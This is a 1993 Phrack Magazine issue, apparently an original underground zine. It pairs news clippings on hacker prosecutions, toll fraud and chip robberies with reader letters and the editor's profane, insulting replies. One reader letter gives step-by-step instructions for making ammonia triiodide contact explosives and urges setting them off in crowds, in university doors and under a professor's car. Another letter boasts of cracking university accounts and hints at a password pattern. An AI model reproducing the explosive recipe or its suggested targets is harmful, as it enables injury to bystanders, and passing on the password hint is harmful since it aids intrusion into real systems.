PWN        Compiled by Datastream Cowboy        PWN
PWN                                             PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Feds Pull The Plug On Phiber Optik

November 4, 1993

by Joshua Quitner (Newsday) (Page 57)

The biggest case of computer intrusion in US history drew to a close yesterday when a young Elmhurst, Queens, man was sentenced to a year and a day in jail for his part in an electronic gang that, for years, roamed the nation's largest telephone and data networks.

Mark Abene, 21, renowned in the digital underground as Phiber Optik, was the last of five young New York City men to plead guilty in federal court to one felony count of conspiracy for being in a hacker group known as MOD.

Abene apologized for his deeds yesterday. "I'm just sorry they were misconstrued as malicious in any way," he said in Manhattan's federal district court.

Prosecutors claimed that the young men rumbled on computer networks, disconnecting other hackers' phone service and posting embarrassing information culled from confidential credit networks like TRW on underground bulletin boards. They also used their power skills to get telephone numbers or credit reports for celebrities, including Julia Roberts, John Gotti, Geraldo Rivera, Christina Applegate and Mad Magazine founder William Gaines.

John Lee, 22, a co-defendant is now serving a one year sentence in a "shock incarceration" boot camp in Lewisburg, PA. Lee and Julio Fernandez, 18, were the only gang members who made money from the two years of break-ins.

In addition to Lee and Fernandez, Paul Stira, 23, of Cambria Heights, Queens, and Elias Ladopoulos, 24, of Jamaica, Queens, are serving six-month sentences in federal prisons in Pennsylvania. Fernandez has been cooperating with authorities and is not expected to be jailed.

Computer Caper Is Unpluged

October 1, 1993

by Tim Bryant (St. Louis Dispatch) (Page A1)

Investigators said 18-year-old computer hacker Paul J. Gray of Creve Coeur, MO, was arrested on a state charge of tampering with computer data, a misdemeanor. The college freshman reportedly used his home computer to spy electronically on files of a federal appeals court and charge long-distance telephone calls to Mercantile Bank

---

Teen Hacker Admits Having Illegal Credit Information

June 17, 1993

by James McClear (Detroit News) (Page B7)

Ander Monson, 18, of Houghton, MI, whose electronic misadventures uploaded him into the high-tech world of computer fraud, pleaded guilty in Oakland County Probate Court to illegal possession of credit card information.

In The Jungle Of MUD

September 13, 1993

by Ellen Germain (Time) (Page 61)

Virtual worlds you can hook into--and get hooked on--are the latest rage on the computer networks.

[Ah, yes, Virtual Reality as perceived through the minds of the computer illiterate. But wait, it's electronic crack! Keep an eye out for your children!]

NCIC Abuse - Is Legislation The Answer

October, 1993

by Brian Miller

Confidential information is being illegally released from the National Crime Information Center network. But abuse of the system is difficult to detect, and those caught are seldom punished.

A former law enforcement officer tracked town his ex-girlfriend with information from an FBI-run law enforcement information system. Then he killed her.

A terminal operator in Pennsylvania used the same system to conduct background searches for her drug dealing boyfriend to see if his customers were undercover agents.

It is hard to trace abuse to a single user because many agencies don't require personal access codes which would keep track of who made specific inquiries on the system and when they occurred. The General Accounting Office polled all the states and found that 17 don't require a personal code to access the NCIC. Most of these had an identifier only for the terminal or agency accessing the system.

And if someone is caught abusing the system, they are seldom charged with a crime. The GAO found that the most common penalty was a reprimand, with some suspensions and firings. Of the 56 cases of abuse found by the GAO, only seven people were prosecuted.

The FBI cannot force the states to adopt certain security measures because compliance with the guidelines is voluntary. The reason for this is that the guts of the NCIC come from the states, and the FBI simply maintains the network.

"The main thing that can be done today is to enforce the law, and create stronger penalties for abusing the system," said Marc Rotenbertg of Computer Professionals for Social Responsibility, an advocacy group based in Palo Alto, California.

Live Wires

September 6, 1993

by Barbara Kantrowitz et.al. (Time) (Page 63)

&

Technoid Circus

by Rex Weiner (Spin) (Page 72)

September, 1993

[K-K00l cYbUR P|_|n|< aRt1Cl3zzzz

Jump On The Cyber Bandwagon!

More Journalists ride that old info highway straight to HELL!]

** BUT WAIT! A "Cyber" article we can all dig! **

Speciale Cyber

Settembre, 1993

di Sergio Stingo (King) (P. 131)

Il cyberpunk: tutti ne parlano, ma pochi sanno cosa sia veramente. Libri elettronici? Scenari inquietanti del futuro prossimo venturo? Conferenze telematiche? Nuovi tipi di abbigliamento usa-e-getta? La piu' grande rivoluzione democratica dei nostri anni? Una rivoluzione strisciante e silenziosa? Ia nostro stingo, sempre curioso del <<nuovo>>, S'e' messo a girare l'italia per iundagare il fenomeno. E' stato come scoperchiare una pentola in ebollizione. Piu' incontrava <<cyber>> e piu' scopriva che c'era da scoprire. Dal teorico della <<brain machine>>, che sperimenta l'oggetto misterioso tra discoteche e universita', alla prima galleria dove sono esposte opere di hacker art. Dalle riviste-bandiera del cyber, come <<decoder>>, alle band che stanno inventando una nuova musica. Per non parlare del sesso, che grazie alla tecnologia cerca di ampliare la gamma delle sensazioni possibili. Insomma, il viaggio oltre i confini di questo mondo e' stato talmente ricco e avventuroso, che abbiamo dovuto suddividere il reportage in due puntate. In questo numero presentiamo la prima. E, come si dice tra cybernauti, buona navigazione.

[I don't know what that says, but its in another language, so it has to be cooler than the American CyberCrap]

Security Products Abound, But Is Toll Fraud Too Tough?

August 30, 1993

by Dan O'Shea (Telephony) (Page 7)

Telecommunications toll fraud is an increasingly popular crime that collectively costs its victims billions of dollars each year. Although carriers have responded with a wave of security products and services, the problem might be much bigger than was once thought.

Some carriers claim that industry wide toll fraud losses amount to between $2 billion and $5 billion a year, but the true figure is closer to $8 billion, according to Bernie Milligan, president of CTF Specialists Inc., a consulting group that studies toll fraud and markets security services to large corporate telecommunications users. [ed: remember HoHo Con? Yes...THAT Bernie]

Toll fraud involving calls coming into AT&T's 800 network dropped 75% since the introduction of NetProtect, while Sprint estimates a 95% decrease from last year (since the introduction of their fraud detection service). Average losses across the industry have plummeted from $120,000 per incident to $45,000.

Despite the offensive against telecom fraud, the problem persists and is becoming more frequent, and new technologies will only represent potential new adventures for hackers, CFT's Milligan said. Hacker activity is growing at an annual rate of 35%. Some 65% to 80% of toll fraud involves international calling, and fraud occurs on a much wider scale than just inbound 800 calls, Milligan said. So, while losses of this type of fraud drop, collective fraud losses are increasing by 25% each year. Customers are still liable financially in toll fraud cases, and the carriers continue to get paid.

Misfit Millionaires

December, 1993

by Steve Fishman (Details) (Page 158)

[Author profiles several of the early Microsoft programmers, namely Richard Brodie, Jabe Blumenthal, Kevin DeGraaf, Neil Konzen and Doug Klunder]

Intercourse With Lisa Palac

1993

by Melissa Plotsky (Axcess) (Page 62)

&

Turned On By Technology In The World Of Cybersex

August 30, 1993

by Marco R. della Cava (USA Today) (Page 4D)

[An interview and an overview dealing with online nastiness. Lisa Palac editor of Future Sex and producer of Cyborgasm talks about all kinds of stuff. As a regular peruser of Future Sex (for the articles of course) I can't help but wonder why we haven't seen HER naked yet. Email her at futursex@well.sf.ca.us and demand some gifs.]

Don't Try This At Home

August, 1993

(Compute) (Page 62)

Welcome to desktop forgery.

Susan Morton, senior forensic document examiner with the US Postal Service in San Francisco, has seen gangs travelling the country packing computers, scanners, and laser printers. Arriving in town, their first move is to rob a mailbox to acquire some checks that were mailed to, say, a local utility company. They will copy the account and routing code off some citizen's check and decide what branch bank that person probably uses. Then they forge a large corporate or government check to that person, using information from other checks they found in the mail. Packing a forged ID, a gang member will then go to a branch across town where presumably nobody knows the citizen and deposit part of that forged check. The check may be for $5000, of which the forger takes $2000 as cash, smiles and leaves.

One check forging gang was chased across Texas for about six months in the late 1980s, recalls Robert Ansley, corporate security manager for Dell Computer in Austin, Texas, then with the Austin police department. Armed with a stolen Macintosh and an ID maker stolen from a highway patrol substation, they passed more than $100,000 in bogus checks in Austin alone.

Sources say other gangs have used laser printers to forge security ID badges to get into office buildings and steal the computers, nodding at the friendly security guard at the front desk while trudging out with their arms full.

"We have been urging corporations to move forward with EDI (Electronic Data Interchange) for more and more of their business transactions and avoid paper, since it will become so vulnerable," says Donn Parker, computer crime expert with SRI International in Menlo Park, California.

In 1991, the Secret Service busted 66 traditional counterfeiting operations, while seizing 52 office machines that had been used for counterfeiting

---

Subduing Software Pirates

October, 1993

by Suzanne Weisband and Seymour Goodman (Technology Review) (Page 30)

[The software manufacturers claim they lose between 9 and 12 billion annually. Thank GOD for the SPA and the BSA. Like they are go to Singapore or Hong Kong with guns and get the REAL culprits. Noooo. Let's raid BBSes and businesses.

Their people at COMDEX told me they really weren't interested in taking my money to help me combat Phrack Piracy. I think we all know where THEIR interests lie.]

Mindvox: Urban Attitude Online

November, 1993

by Charles Platt (Wired) (Page 56)

[Another of those cute Mindvox RULES articles. "Fancher looked too neat, clean, and classy to be a hacker, but he enjoyed the cut-and-thrust of online jousting as much as anyone." But wait, there's a little name dropping too: Wil Wheaton, Kurt Larson, Billy Idol, THE LEGION OF DOOM!

Don't get me wrong, I love Vox. And I really like the author of this story's last book "The Silicon Man," I just get kinda edgy about stuff in Wired.

Favorite quote: "Unix is arcane," says Bruce, "and it's weird, and most users don't want to deal with it." I know I don't. Not.]

Intel To Protect Chips

October 22, 1993

(Newswire Sources)

One of the nation's largest manufacturers of computer chips said Friday it will start to put serial numbers on its products in an effort to stem the rising tide of robberies. Intel Corp. said it was taking its actions after a flurry of armed takeover robberies at warehouses in California's Silicon Valley over the last six months.

What the robbers are after is microprocessors -- the brains that power personal computers. Among their favorite targets has been Intel's 486 microprocessor.

Julius Finkelstein, head of Santa Clara's High Tech Crime Task Force, called chip robberies "the gang crime of the 1990s." "They are just as valuable as cocaine," he said. "But they are easier to get rid of and if you are caught the penalties aren't as severe."

The gangs, Finkelstein said, are Asian, well organized and very knowledgable about computer components. They generally drive up to a warehouse door as if coming for a shipment, but once inside pull out their weapons and force the employees to the floor.

Last month, a takeover robbery at the Wylie Laboratories Electronic Marketing Group in Santa Clara netted thieves an estimated $1 million in chips. Finkelstein said that robbery took only about 15 minutes.

Chip Robberies Continue

November 5, 1993

(Newswire Sources)

Authorities said a gang of Vietnamese-speaking bandits staged a violent takeover robbery of a San Jose computer parts company Thursday, wounding one man and escaping with an undisclosed amount of electronic equipment.

Lt. Rob Davis said the robbery began at 1:01 a.m. when as many as five gunmen forced their way into the Top Line Electronics Co., a computer board manufacturer. The bandits rounded up the employees and beat them in an attempt to find where the computer parts were stored.

One employee was shot in the hip as he tried to escape. Davis said the man was treated at a local hospital and was listed in stable condition.

Hacker Revelled In Spotlight, Court Told

August 23, 1993

(The Age)

A hacker who broke into a computer at NASA in the United States, and contemplated sending it a message not to launch a space shuttle, was delighted with the effect he was having, the County Court was told yesterday.

The prosecutor, Mr Richard Maidment, said that in a three-way conversation between Nahshon Even-Chaim, David John Woodcock and another computer hacker, Woodcock discussed sending a message to a computer at NASA to stop the launch of a space shuttle, after Woodcock talked about the shuttle Challenger, which blew up several years before, and said "I have got to do something about NASA."

Even-Chaim, 22, formerly of Narong Road, Caulfield, yesterday pleaded guilty to 15 charges relating to unauthorized obtaining, altering, inserting, and erasing of data stored in a computer, and the interfering and obstruction of the lawful use of a computer.

Woodcock, 25, formerly of Ashleigh Avenue, Frankston, pleaded guilty to two counts of being knowingly concerned in the obtaining of unauthorized access by Even-Chaim to data stored in a computer.

The court was told that a co-offender, Richard Martin Jones was earlier sentenced to six months jail, but was released on a $500, six-month good behavior bond.

The court was told that Even-Chaim obtained free use of telephone lines for many hours to connect his home computer to other systems in the United States.

Mr. Maidment said that Even-Chaim, Woodcock, and Jones, who collectively called themselves "The Realm", were arrested in April 1990 by the Australia Federal Police after an investigation that began with information received from the United States Secret Service.

The Last Hacker

September 26, 1993

by Jonathan Littman (LA Times)

[This is the bet article I've seen yet about Kevin Poulsen. Please go find it and read it. It covers Poulsen from beginning to end. All the crazy stunts, the life on the run, the show down with the feds. Everything. Here is a small excerpt.]

KIIS-Fm called it a "Win a Porsche by Friday": eight Porsches - about $400,000 worth of steel, leather and status - given away, one a week. You could hardly live or work in Los Angeles without being caught up in the frenzy. It seems that the gleaming, candy-red convertibles were plastered on nearly every billboard and bus in town. Listeners were glued to KIIS, hoping to make the 102nd call after Dees spun the third song in the magical series.

Housewives, businessmen, students and contest freaks jammed the lines with their car phones and auto-dialers. They all had hopes, but one 24-year-old high school dropout had a plan. America's most wanted hacker and his associates sat by their computers and waited. On the morning of June 1, 1990 KIIS played 'Escapade,' 'Love Shack; and then, yes, "Kiss." "We blew out the phone lines," every line was ringing says Karen Tobin, the stations promotional director. "We picked up the calls and counted."

The hacker was counting too. At the precise moment Price's "Kiss" hit the air he seized control of the station's 25 phone liens, blocking out all calls but his own. Then the man, who identified himself as Michael B. Peters, calmly dialed the 102nd call and won a Porsche 944 S2.

It was child's play. Especially for Kevin Lee Poulsen. Computer hacking had once seemed an innocent obsession to Poulsen, a native of Pasadena, but now it was his life, and it had taken him over the line. This October, Poulsen will face the first of two trials, one in San Jose and another in Los Angeles, that federal prosecutors say are critical to the government. Because of the seriousness of his alleged breaches of national security, they intend to use the case as an example to the hacker underground.

As a teen-ager, Poulsen had burrowed deep into the giant switching networks of Pacific Bell, exploring and exploiting nearly every element of its powerful computers, from the common systems responsible for creating, changing and maintaining phone service to the shadow systems that guard the secrets of national security, according to accusations in a federal indictment. The U.S. attorney in San Jose says that Poulsen had wiretapped the intimate phone calls of a Hollywood starlet, allegedly conspired to steal classified military orders, and reportedly uncovered unpublished telephone numbers for the Soviet Consulate in San Francisco.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 2 of 27

****

Phrack Loopback

Hey,

Well, Im trying to set up a BBS here in small little old northeast pa, and I'm wondering if there is any way I could post the issues of phrack on it.

I've gotten some issues from MindVOX and loved em. Thought others would like em. Please send mail back.

the soon to be SySop of LLD.
Rebls

[I have no problems with people putting copies of Phrack online on bbses for others to download, as long as they stay complete, and as long as you are not charging your users for access to download the files. If you are, you are a business, and if you're planning on making money off of Phrack, you better email me right away. :)]

Control-Alt-Delete
INSOC Network Newsletter

Information Society is coming back with a harder, more alternative edge.

16 pg magazine format, quarterly, $5. Strongly supported by Kurt Harland, lead singer. Back issues, merchandise available.

Issue #3 - October 1. Join the Network!

Control-Alt-Delete
5822 Green Terrace Lane
Houston, TX 77088-5414
713/448-3815
JBeck@AOL.COM

[Here's a plug for a nifty little 'zine. It's amazing how much stuff someone can put out about Information Society. Definitely a must for the hardcore INSoc fan.]

I consider myself pretty much an "individual" and an "end user," but I just recently contracted with Mesa State College (of Colorado) to write a simple computer program to organize the tool bin for the vocational technology department. Does this make me a computer consultation contractee of a government, business, or organization? Now that I think of it, the program is designed to keep track of tools so that students don't walk off with them, so that further makes me a "SECURITY computer consultation contractee." Geez. I didn't realize what an important job I had, nor how I am part of the global conspiracy of "computer professionals" to rip people off.

Hm.

What to do, what to do... Well I guess in the spirit of Phrack magazine, and ignoring the entirely hypocritical and pointless posturing that you have engaged in recently, I will go ahead and read it DESPITE the very sternly worded Copyright Warning which you have so prominently placed in file number one. If you feel that the information presented in Phrack 43 should be kept from certain types of people, and if you are frustrated by the fact that these people seem to be getting access to the information even when you have a LAW against it... Well.. "Tough shit."

Bryce

[Bryce:

The "entirely hypocritical and pointless posturing" that we have engaged in is to prove a point. A point that is obviously "beneath" you as you have missed it entirely.

Phrack has been, and always will be free. The copyright notice is to ensure that Phrack is not sold by third parties. The registration notice is only applicable to certain parties whose interests may be opposite those of Phrack Magazine. As you probably realize, it is up to the INDIVIDUAL to decide whether or nor they register. Most corporate/law enforcement/security officials chose not to, hence, they are guilty of the same thing they accuse hackers of.

Now, this aside, I think your letter was real shitty, and you came off like a smarmy dickhead. I personally could care less if you read the magazine or wipe your ass with it. Its up to you. The information is provided for EVERYONE to do with whatever the hell the like.

If my attitude is contrary to what you feel is "the spirit" of Phrack, well... Tough Shit.]

Greetings,

After reading/hearing about PHRACK, 2600 and others I was pleased to finally receive the latest issue of Phrack. I have a few questions and suggestions to make:

+ I have an idea for an article and would like very much to contribute it to Phrack. How do I go about this? Does the article have to be in any particular format? Would it be a good idea to have submission details in every issue?

+ Is it possible to submit an article to both Phrack and 2600? Would it go against me if I did so?

+ I have heard of a zine similar to 2600, but specifically for the UK. I think it might be called 2800? Is it still going? And how do I get a hold of or in touch with it?

+ With regards to your compilation of phone numbers of dialups to universities in the States, I have been trying for a year or so to compile a similar list specifically for the UK. It has been a bit difficult since those lovely people at the JNT dont like this sort of information being compiled. (Despite the fact you can probably walk into any Computer Centre at a site and pick up a free news letter containing such information ;-). Anyway, if any UK readers would like to help me in this task, I would very much appreciate it.

And Keep up the good work!

[I’ll handle all of this in the order you asked:

1) Submissions to phrack can be thru email at our well address phrack@well.sf.ca.us, or can be mailed via US mail to Phrack Magazine, 603 W. 13th #1A-278, Austin, TX, 78701. They don’t have to be in any specific format (Style-wise) or on any particular type of media. I can read almost anything for almost any type of computer.

2) You can certainly send your work to both Phrack and 2600. I would ask that if you do so, please indicate it to both myself and Emmanuel Goldstein of 2600 that you have sent it to both magazines. I don’t want anyone ragging on me for

"ripping of 2600" by publishing something they did, as our schedules are about a month apart.

3) I have never heard of 2800. Perhaps our readers have.

4) I will make sure to forward any UK dialups I get to you for any readers who send them in. I do want to publish your list once you get it compiled though.]

I am currently in the final stages of writing my magna thesis in History here at the University of Minnesota. Over the past 6 months or so I have been looking at the whole Neidorf/Riggs fiasco and have decided to do a characterization piece about the Prophet. Bruce Sterling directed me towards you as someone who could give me some personal information on Riggs (His appearance, attitude, and even obscure things such as habits and behaviors). From past experience, I have seen that this information is absolutely necessary in writing these types of "unconventional" histories.

Because I have never met the guy or even seen a picture of him, I must rely on people like yourself who may have met him or may know people who have known him. If you can help me by directing me towards people who have known him in the past or currently know him, it would be greatly appreciated. I really don't want to bother Riggs (and even if I did, I probably would not get much out of any encounter).

Thanks in advance.

Jason W. Esser

[I'm sorry, but I really can't help you in that respect.

I would suggest you talk to Rob if you want to write about him. Or at a minimum Frank or Adam. They are all very easy to contact. Try directory assistance.]

He writes back

THANKS! You have been EXTREMELY helpful in furthering research into the CU! You are a man of great genius and integrity. Jerk.

Jason W. Esser

[Jerk?

You, a stranger, write me and want to know the details about a friend of mine, without even having the courtesy to let HIM know that you are doing such a thing?

What would YOU think if someone out of the fucking blue phoned you up and asked for information about someone you knew, under the guise of some kind of psychological profile, and wanted to know what they looked like, personality quirks, etc...

What you are doing has NO RELATIVE MERIT TO THE COMPUTER UNDERGROUND. In fact, I find it intrusive and repulsive. I am not some kind of fucking clearing house for information about people I know. Try his prosecutors for that. Of, if you had any balls at all, you could call Atlanta directory assistance and get phone numbers for Riggs, Darden and Grant.

Since you've been such a dick, I suppose I'll call them myself and let them know that someone is trying to get personal information about at least one of them. I'm sure they will be thrilled.

So, as for my great genius, you should have asked me questions about UNIX...you would have gotten a much more thorough reply.

Asshole.]

I would like to make my point in e-mail that I do not wish my program, ISS (Inet Security Scanner), to be in Phrack.

Thank you.

Christopher William Klaus

[I would just like to make my point in e-mail that I do not give a shit about your program ISS (Inet Security Scanner), and it is not going to be in Phrack.]

Hello, This message desires an urgent reply-thank you

Recently a friend of mind came into some electronic trouble of sorts. I was wondering if it would be possible to obtain a list and an immediate way to contact lawyer(s) who specialize in such cases. Such as the lawyer who represented the infamous E911 case. As you could imagine, time is of essence. Thank you in advance for a quick reply.

Shadowvex...

[Depending upon where your friend is, and what he/she has done there are a number of people to talk to.

If it is a case that may involve issues of constitutionality he should call Mike Godwin at the EFF. (godwin@eff.org) Or may want to contact a local ACLU office.

If he just wants to talk to a lawyer who MIGHT offer him some advice on criminal matters he could try Steve Ryan (blivion@zero.cypher.com)

Craig Neidorf's lawyer probably would not be interested in taking such a case, unless it would pay him well and was in the Midwest.

Remember, if your friend got busted hacking, lawyers aren't going to help much.]

I recently learned that when a prank caller calls you on a USDETEST DIRECT telephone all you have to do is hang up the phone and then pick it up again, then hit '*57' and hang up.

This logs the prank callers info into the phone company's computer so that if he persists, they have proof of his deeds. After 5-6 prank calls and logging them every time, you may call the phone co. and demand that they give you the prank caller's name, and phone number. You may also have the police notified of the prank caller's address, for severe cases.

After 5 logs of the activity, the phone co. is required by law to give you the person's information. We used it when my aunt was getting a silent caller last month.

[I hope you know that each time you use the Call-Trace feature you get billed for it. Most modern places have that feature and many of the other custom calling feature upgrades like caller id implemented now a days.]

Hey is phrack still alive? Also, do you know the whereabouts of Full Disclosure magazine and Hack-Tic the Dutch magazine? If so do you have the phone number and address to them?

Plus, do you know any other mags, that's supports hacker/computer virus (for IBM, MAC, and AMIGA) cracker, anarchy and phreak information? I have the 2600. Are there others our there?

[Phrack is still alive. Notice this response. That should be proof. Hack-Tic is easily reached by mailing the editor rop@hacktic.nl

Full Disclosure has no phone.
Full Disclosure
P.O. Box 903
Libertyville, IL 60048

There really aren't any other "hacker" mags. Full Disclosure isn't one by the way. Hack-tic is entirely in Dutch, so unless you speak Dutch it won't do you much good. There are a few mags that kinda cover the whole net scene, like Boing Boing, Gray Areas, etc...there was a big list of cool magazines in the Line Noise section of Phrack 43.]

If possible, I'd like to include an ad for my system in Phrack:

```
][-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-][
                     Silicon Valley
Home of Freedom       2o4-669-7983       Phalcon/Skism Canada
cDc Global Domination  1 N0de, 24oo 0nLY!    Northern Phun Co.
Factury Direct Outlet      2 3l33t for U!          Dist. Site

S00per 3l33t UUCP Mail (silicon.bison.mb.ca), N0 k0dez, war3z, ansi

**** Thousands of the m0st eut1mat3-sp1ffy-krad3st Tf1l3s ar0und! ****

Freedom,Phrack,cDc,PHUN,LoD,Cud,NSA,ATI,NIA,ANE,Chaos,uXu,AOTD,Chalisti,
CERT,CIAC,DDN,LOL,40HEX,Iformatik,NFX,FBI,NuKE,Phantasy,Worldview,NARC,
PPP,Telecom Archives,EFF,DFP,Legal Papers,CPI,Vindicator Productions,DoA,
Virii,ource C0de,Scanners,Hackers,Cell Fraud,AWA,UN*X Security/Crackers,
Anarkey,ArcV,Trident,Phalcon/Skism,Summercon GIFS,RL,RDT,Syndicate,UPI,
Encryption,PGP,Networking,Radio Modification,Virus S0urce,USEnet,Email.
        The latest news in the hp and telecom community!
         To apply, type 'apply' at the 'local >' prompt
         for questions, mail iceman@silicon.bison.mb.ca

][-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-]-[-o-][
```

Two boys were charged with attempted murder for allegedly stuffing a 3-year-old down a Chicago high-rise building's trash chute, police said. The boys, ages 11 and 13 were charged with aggravated battery and attempted murder. The 3-year-old fell six floors but his fall was broken by a pile of trash. He was rescued by a custodian who saw his feet and turned off a trash compactor just before it would have crushed him, police said.

yeah, sign me up.
thanks.

[I have got to say, this was the weirdest subscription request I've gotten to date.]

" To the free flow of information, the life-blood of a prosperous society "
By
The Philosophical Phreaker (a.k.a King Blutto)

Introduction: Don't confuse me with KING BLOTTO in any way... The idea behind my name is -- THe man is gone, but let the legend live on.

Univeristy of South Florida <-- One of the easiest target that I have ever come across... The worst security ever. Thanks goes to Hiawatha for some of the information.
Just to prevent any loozer from using this information I am not including the address of this particular sight. If you are "mildly" qualified you can find the address... Anywaz, here are some account that I have found using the UNIX password hacker programs. I am also including the password file so all you bad-boyz, can use your 250,000 word dictionaries and beat the crap out of this system.

[1500 line /etc/passwd file deleted]

=-=

Southern Methodist Univeristy
First of all, I must congragulate the operators of this system. There security was "almost" impregnable. With an abundance of traps.. It made attempts to identify its callers, and if it could not identify its callers it would disconnect. This system was a little bit of challenge, I am again including the password file for you'll to hack as many account as you want. Since I don't have an abudance of accounts on this system, I will only give you a hint on how the passwords work.
Hint: Most password are like <lastname>123
Go for it guyz.

[1200 line /etc/passwd file deleted]

=-=
Regards: Lex Luthor, The Ozone, Hiawatha, StolenProcess, Mark Zero and all you guyz who were on the The Atmosphere!

[Ok, first off, THIS IS NOT SOMETHING TO SUBMIT TO PHRACK. This is something to submit to CERT.

What the hell were you thinking?

Anyone can get their own fucking password files man. And beyond that, if you still need a password file to get into a system, then you need to go read a few books on tcp/ip.

People, please don't send Phrack this kind of bullshit. This piece of mail was about 250K. It was a worthless piece of shit, and only wasted time and energy for everyone involved.

And get a new handle. Blotto would probably kick your ass for being so lame and having a handle so close to his. :)]

A warm welcome from across the sea from myself, and I'm sure on behalf of all the other hackers/phreakers who are in Great Britain.

After reading about HoHoCon in #42, I would really appreciate it if you could assist me in getting hold of the following:

a) When bootleg gave his presentation he handed out a diskette containing information on reprogramming cellular phones... I would dearly love to have a copy of this information.

b) Also on the subject of HoHoCon, I would like to get in touch with Jim Carter, or, have a look at any notes/information that he handed out regarding 'tempest' electronic eavesdropping.

Thanks, -> The Operator <-

[Bootleg's file is called BOOTLEG.ZIP and I'm almost 98% sure that its somewhere on zero.cypher.com's ftp site. If it isn't I'll try to put it there.

Jim Carter is in Houston, Texas and can be reached at 713-568-8408 or 7035 Highway 6, S. #120, Houston, TX 77083. Jim didn't really hand anything out at HoHoCon, but if you were to call him, he MIGHT be able to direct you somewhere. He's a good guy, but this is his JOB so don't expect him to give anything away.]

'lo,

I was just wondering if there's any way I can subscribe to your 'zine, I can't subscribe through the method in phrack 39 because I send Internet mail through the Cserve - Internet gateway and compuserve can't accept messages with no subject.

Also, I'm a Canadian Hacker who's just starting out, and since pretty much all the Hacking BBS's are in the U.S., I need to get into a Sprintnet PAD, and an out dial, so, is there anyway to get a copy of the SprintNet directory phrack 42 which still contains passwords? (fuck, what a leech)

{Oh yeah, I miss the explosive recipes from early issues, here's one from my personal collection, you can publish it if you want.}

AMMONIA TRIIODE CRYSTALS

Chemicals	Equipment
1-Iodine Crystals	1-Funnel & filter paper (coffee filters work pretty well)
2-Clear household Ammonia (or pure ammonia for the clinically insane)	2- 2 glass jars

Ammonia Triiode is a blackish crystal which explodes under heat inpact producing a toxic gas which stains everything around it purple (some serious vandalism potential here). WARNING -- be sure to use an ammonia which is impure; crystals made with pure ammonia will explode if touched or in sunlight!

1) Place about two teaspoons of iodine into one of the glass jars and add enough ammonia to completely cover the crystals.

2) Put the paper into the funnel and place the funnel over the other jar.

3) Let the iodine soak in the ammonia for a few minutes (5) and then filter the solution into the other jar.

4) Take the purplish crystals from the filter paper and dry them on a piece of paper towel, separating them into smallish pieces. (you'll probably want to dry them in a cool, dark place which would look good painted a blackish purple, in case the crystals detonate)

8) After the crystals dry gently place each piece onto a square of tape (opaque duct tape or, electrician's tape work best) and put a piece of tape over them. _GENTLY_ press the tape together _AROUND_ the crystal.

Once made the crystals will last a week. When detonated they produce a bang and a cloud of gas but no flame. In other words, their perfect for putting on the ground in crowds, in the hinges of your University's doors, in front of the wheels of your favorite professor's car etc.

/>ragline

[Ahhh, sweet destruction. Listen, recipes like this one are very DANGEROUS. Do not attempt to do this. Phrack will take no responsibility for any damages or injuries resulting from anyone constructing the above.

About the SprintNet scan...Phrack doesn't publish passwords. If you were any kind of hacker at all, you would enjoy trying to get them yourself. Does your mommie still tuck you in to bed too?

About subscribing through CompuServe, I don't know what you may have read in the past, but Phrack has many CompuServe subscribers. Try requesting a subscription. Everything should work out fine.]

Hey. I'm an editor of a magazine being put together in Toronto, and I'd like to ask to use your disclaimer. I'll not bore you with the blabberings of how 'el33+e' this mag will be, as I'm sure you just *love* those type of messages. (Note: The mag's called, 'Ban This', if you see it around, I'd appreciate any feedback you can give.)

Anyhow, thanks for listening.

[Feel free to use the disclaimer. It would be best if you mentioned Phrack somewhere in there as well.]

```
xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx

                           IT'S BACK!!!!W$#@$#@$

                               _-_-_-_-_-_-_
                               (           )
                                (  B00m   )
                                 (      )
                 CAU               \  /                 CAU
                                  __||___
           "We WiLL BloW     /---/|______|\----\   uP YoUr CaR!"
                             /CaU-__WuZ__-HeRe\-
                                (0)       (0)

                               fARM R0Ad 666
      _   _                       PaRt II               _   _
     ((___))                   (713)855-0261           ((___))
     [ x x ]                                           [ x x ]
      \   /    cDc            SySoP: EighT BaLL         \   /    cDc
      (' ')                     COs: M.C. AllaH         (' ')
       (U)   K-C0W F0RCe             ChilliN             (U)   K-C0W F0RCe
                                     Nitzer EbB

     ' CAU HomesitE                     ' CAU Member SitE
     ' cDc Factory Direct OutleT(KCF)   ' 0b/GyN Member SitE
     ' Pure Hack/Phreak OrienteD        ' Serious Hack/Phreak DiscussionS
     ' Flashback SoftwarE               ' No RatioS
     ' 24oo-14.4 bpS                    ' Exophasia Submission SitE(ThP)

xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx
```

[Call now and watch 8-Ball shoot up!]

Digital Highways magazine is an Alternative & Metal Magazine.
We Have Reviews of many Local bands from all over USA and National bands.
We have Press Releases, Concert Information, National Tours, Local tours, and small tours (small bands) to the large world-wide known bands.
Top 10 Music Lists, Information on how to get Free to Really Cheap info. from the music industry. PLUS poetry (alternative) and other info from what's coming out in the stores or who's recording and what not.

all of this for $2 for US and Canada (US Funds only) And for Foreign People its 4 dollars Us funds.

As my best deal goes.. if you send in a demo tape for review (it must be your band's), or if you send in poetry and we publish it you get one free issue. Demo tape senders get a free issue no matter what, and you always get a review. we have FREE classifieds. All subscribers can get free listing.

(we may edit or drop any ad, and we may not publish all ads.)

This is the first issue, so send away! to this address rem US/CAN 2$ other 4$

Digital Highways
Po Box 38
Troutville,Va 24175

Hi Erik Bloodaxe,

I am a student of Computer Science at University of Salerno (South-Italy), near Naples.

I have so many copies of Phrack Magazine and I think that You are the Best in the Computer Underground Community.

So I leech Your Magazine from many BBS (the ones with the h0ttest H/P/CC Area) like this:

```
+49-58618795            NightBox
+46-18262804            EaglesNest
+1-5152553212           Down of Immortality (ex Pirate's Ship TRSi/WHQ)
                        ( here there the my friend SysOp Mike Bockert
                          best known a.k.a THE SKELETON / TRSi-TDT )
+1-2018184894           TUGO The UnderGround OASIS --->  ZZC USHQ
+598-2-497108           Abn0rmal States
+598-2-421996           ( here there is another SysOp friend of mine
+598-2-421994             named Alex a.k.a L0neW0lf )
+1-2019394543           Fastrax
+1-2019397597             |||
+1-2019398448             |||
